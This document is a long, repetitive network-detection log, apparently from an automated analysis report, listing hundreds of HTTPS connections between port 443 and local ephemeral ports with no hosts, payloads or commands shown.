Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 50085 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50503
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 50440 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50325 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50269 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 50439 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50051 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50153 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50405 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 50235 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 50061 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50221 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 50247 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50370 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50407 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50430 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50208 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50259 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50199 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 50420 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50386 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50151 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50116 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50106
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50107
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50109
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50341
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50102
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50103
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50197 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50117
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50116
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50119
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50111
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50110
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50112
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50115
Source: unknown	Network traffic detected: HTTP traffic on port 50374 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50213 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 50442 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50120
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 50093 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50124
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50123
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50126
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50368
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50125
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50370
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50106 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50081 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50173 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50201 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50233 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50384 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50311
Source: unknown	Network traffic detected: HTTP traffic on port 50163 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50326
Source: unknown	Network traffic detected: HTTP traffic on port 50503 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50325
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50327
Source: unknown	Network traffic detected: HTTP traffic on port 50058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50324
Source: unknown	Network traffic detected: HTTP traffic on port 50372 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50327 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50054
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50053
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50058
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50057
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50059
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50061
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50060
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50063
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50062
Source: unknown	Network traffic detected: HTTP traffic on port 50102 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50400 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50065
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50064
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50067
Source: unknown	Network traffic detected: HTTP traffic on port 50377 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50068
Source: unknown	Network traffic detected: HTTP traffic on port 50240 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50074
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50227 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50195 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50422 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50076
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50075
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50078
Source: unknown	Network traffic detected: HTTP traffic on port 50057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50077
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50079
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50081
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50085
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50079 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50481 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50094
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50093
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 50193 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50259
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50424 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 50055 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50258
Source: unknown	Network traffic detected: HTTP traffic on port 50161 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50260
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50215 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50029
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50028
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50021
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50025
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50269
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50026
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50030
Source: unknown	Network traffic detected: HTTP traffic on port 50021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50067 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50039
Source: unknown	Network traffic detected: HTTP traffic on port 49995 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50011 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50032
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50031
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50034
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50033
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50036
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50038
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50037
Source: unknown	Network traffic detected: HTTP traffic on port 50242 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50041
Source: unknown	Network traffic detected: HTTP traffic on port 50412 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50040
Source: unknown	Network traffic detected: HTTP traffic on port 50341 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50203 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50033 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50043
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50042
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50045
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50044
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50047
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50046
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50049
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50050
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50291
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50052
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50051
Source: unknown	Network traffic detected: HTTP traffic on port 50126 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50311 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50260 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49946 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50018 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50448 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50077 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50053 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49981 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50237 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50380 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50031 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50156 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50043 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50402 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50379 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50006 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50065 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49940
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50097
Source: unknown	Network traffic detected: HTTP traffic on port 50112 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50075 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50404 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50399 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49939
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49938
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49937
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49936
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49934
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49933
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49932
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49931
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49930
Source: unknown	Network traffic detected: HTTP traffic on port 50008 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49971 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49936 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49929
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49928
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49927
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49926
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49924
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49923
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49922
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49921
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49920
Source: unknown	Network traffic detected: HTTP traffic on port 50063 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50124 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49821 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50483 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49877 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49914 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49916
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49915
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49914
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49911
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49910
Source: unknown	Network traffic detected: HTTP traffic on port 49948 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50041 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49843 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50146 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49899 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50097 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50239 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49909
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49908
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49907
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49906
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49905
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49904
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49993 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49903
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49900
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50154 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
